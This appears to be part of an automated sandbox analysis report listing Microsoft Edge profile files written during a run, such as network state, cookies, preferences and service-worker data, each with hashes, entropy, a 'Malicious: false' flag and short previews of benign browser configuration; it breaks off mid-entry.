SHA-256:	22987348E7FC4A773D7624F72B93A0C72ADDAEDECCD05C8AACF70894294E08E0
SHA-512:	4A9AEA469596E741D005D3E73FD0FE2AAE4A21A99F7282026693CD1EF623EAA3505F35E4C75FAEB7941FC5B60CC5D401D576CF337DA4A0DB3734053538A6F435
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378062334419857","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378062337989021","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4812cf0e-1a96-488f-9c77-7040e5012576.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8fb8a8fb-29bc-4b6c-8e6c-ed2862d6bb06.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.3138249089427076
Encrypted:	false
SSDEEP:	192:nPjBGH0B/zbl0fvUfDOiHrvsgZjekzRnaJlfnFjKKI:PjoH0B7bl0fYDOGrvxZjekufnlKKI
MD5:	56F8003108772C0B8786F4E4EB6B622B
SHA1:	39750009B863492E1F8568D3C1E205BFEC632B45
SHA-256:	41A674C087C3C71633E185CA72485EE2D3E18A3532AA9ED5F4303CCF24D28D68
SHA-512:	3332B55E66751525895B1F4488F31327103A109F82E0D146A22B02E82601F443C789C2427428309A658A3B5A72DF86C7F574158DD7213B0C3DDEC2351B50EDD0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4e422.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 10, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.634119647236315
Encrypted:	false
SSDEEP:	96:uIEumQv8m1ccnvS62aqi1moIUaOS4Iscmy1a:uIEumQv8m1ccnvS6nAoNab4Umx
MD5:	4742D3FC88E087FEAE95EB524770CB7A
SHA1:	FB92D07D7A3015EAA822A4B4A4985892609B51CF
SHA-256:	ADF34FCE2A81A0A576417E3F73F28338CC732130701462B2A2CEA8E55C7BE610
SHA-512:	1BB42859F2366CBE2D3321B1B9050F8D7334AA9D75E24874A4C60B72D9246521D1CE58668C0F2415B1E52974D9056F50BA87970B1BFDDEB358A9C9C107BB8762
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d504.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3e80f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.1044231777857885
Encrypted:	false
SSDEEP:	192:stWkdprsMcSaFvrE9ksTF8xbV+F0jQAPUNP3YJ:stWQrsdSCD/bGEQNO
MD5:	70964B6C049B1938A600C2137DD8D1F3
SHA1:	2407A7FBE233DF7EE37DA6ADE68220AA60776B50
SHA-256:	B7FBEF05E557A3651FBAA56C0166019F02A1D9DEADADF4158E396C44BBD1CFDB
SHA-512:	8646A4C48ED2D082CC9C559714AAD1227BE636577295CD71D988CB06921FD6D276927BA02EAF377CB8F0C83479D476C308520FB025B29BDDCF84B4F7D91C349F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375470331820863","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF411cf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.1044231777857885
Encrypted:	false
SSDEEP:	192:stWkdprsMcSaFvrE9ksTF8xbV+F0jQAPUNP3YJ:stWQrsdSCD/bGEQNO
MD5:	70964B6C049B1938A600C2137DD8D1F3
SHA1:	2407A7FBE233DF7EE37DA6ADE68220AA60776B50
SHA-256:	B7FBEF05E557A3651FBAA56C0166019F02A1D9DEADADF4158E396C44BBD1CFDB
SHA-512:	8646A4C48ED2D082CC9C559714AAD1227BE636577295CD71D988CB06921FD6D276927BA02EAF377CB8F0C83479D476C308520FB025B29BDDCF84B4F7D91C349F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375470331820863","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF45f72.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.1044231777857885
Encrypted:	false
SSDEEP:	192:stWkdprsMcSaFvrE9ksTF8xbV+F0jQAPUNP3YJ:stWQrsdSCD/bGEQNO
MD5:	70964B6C049B1938A600C2137DD8D1F3
SHA1:	2407A7FBE233DF7EE37DA6ADE68220AA60776B50
SHA-256:	B7FBEF05E557A3651FBAA56C0166019F02A1D9DEADADF4158E396C44BBD1CFDB
SHA-512:	8646A4C48ED2D082CC9C559714AAD1227BE636577295CD71D988CB06921FD6D276927BA02EAF377CB8F0C83479D476C308520FB025B29BDDCF84B4F7D91C349F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375470331820863","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4d4a2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.1044231777857885
Encrypted:	false
SSDEEP:	192:stWkdprsMcSaFvrE9ksTF8xbV+F0jQAPUNP3YJ:stWQrsdSCD/bGEQNO
MD5:	70964B6C049B1938A600C2137DD8D1F3
SHA1:	2407A7FBE233DF7EE37DA6ADE68220AA60776B50
SHA-256:	B7FBEF05E557A3651FBAA56C0166019F02A1D9DEADADF4158E396C44BBD1CFDB
SHA-512:	8646A4C48ED2D082CC9C559714AAD1227BE636577295CD71D988CB06921FD6D276927BA02EAF377CB8F0C83479D476C308520FB025B29BDDCF84B4F7D91C349F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375470331820863","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.56612334500234
Encrypted:	false
SSDEEP:	768:umSwcjWnQ7pLGLpDmW5w8mf4XS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqA7xINCm:u7Jj8ccpDmWa8mfGSu1jaDA7efVEt4
MD5:	16A7DE49FD2FB5E278CCB48F815E5EB2
SHA1:	309ED7369EAF1CF836F2531040C8FC32F14CEC56
SHA-256:	72FC2284C827D94CEF4BC04E8B6DC234363F5E60300A4E9F48B57A7F9297FAB4
SHA-512:	02ABD42E9483D94458F0076FBAD5FB73E8673278170152C431F9882C5D3390BEBBEFE55FE08CC1D645F9EC0C46FA11541A0CCA019BB96B2FD29AB6310A40B244
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375470331302687","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375470331302687","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF411de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.56612334500234
Encrypted:	false
SSDEEP:	768:umSwcjWnQ7pLGLpDmW5w8mf4XS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqA7xINCm:u7Jj8ccpDmWa8mfGSu1jaDA7efVEt4
MD5:	16A7DE49FD2FB5E278CCB48F815E5EB2
SHA1:	309ED7369EAF1CF836F2531040C8FC32F14CEC56
SHA-256:	72FC2284C827D94CEF4BC04E8B6DC234363F5E60300A4E9F48B57A7F9297FAB4
SHA-512:	02ABD42E9483D94458F0076FBAD5FB73E8673278170152C431F9882C5D3390BEBBEFE55FE08CC1D645F9EC0C46FA11541A0CCA019BB96B2FD29AB6310A40B244
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375470331302687","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375470331302687","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.840036181958298
Encrypted:	false
SSDEEP:	24:F2xc5NmHcncmo0CRORpllg2DjfRHsVdCRORpllg22V0aKCRORpllg2DmRHs3uCRy:F2emotrdDjfBSXrd2W9rdDmB/rdNBH
MD5:	1C5D383A3E54157EADDEDEFDC4517525
SHA1:	A19115D3AA2A70D3E08194B1374AB8745E7DAC8A
SHA-256:	C5287553DD7267397C10DD4018CF0D5D080F8D106BE5C9DD4CCE6E9D48631D4B
SHA-512:	BBD81A23EE30B2B9968C8EA816A515A9CBDA04464E6E5648C424207EF1B9CF00884F9CCC4188335C8B1483ED7EAB810F7E0D48CFE8B72C44CC66D81B2E3A72C4
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..U.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.113107761359623
Encrypted:	false
SSDEEP:	6:H4pH481N723oH+TcwtE/a252KLlV4pOjyq2PN723oH+TcwtE/a2ZIFUv:YpH48aYeb8xLApmyvVaYeb8J2FUv
MD5:	973B0B6860E7110919D3EDA7B01945F6
SHA1:	2CD24837D965D96FEC6C68BF6469657F84B0972D
SHA-256:	34A188DB3E0D240150E836F6AABB618907A3AD7B377CD57B20765A4985DFF184
SHA-512:	E715097071425E78EE3F2B88A87293EB9C290BA64EC13C27DD73EFF70C73F76B23091BD6F5273C608F15465CA84A6ADAE0AD060AECCB314B2AF87BF224D0F69C
Malicious:	false
Preview:	2024/11/07-11:25:46.158 1fe0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/07-11:25:46.175 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113825
Entropy (8bit):	5.577734820035174
Encrypted:	false
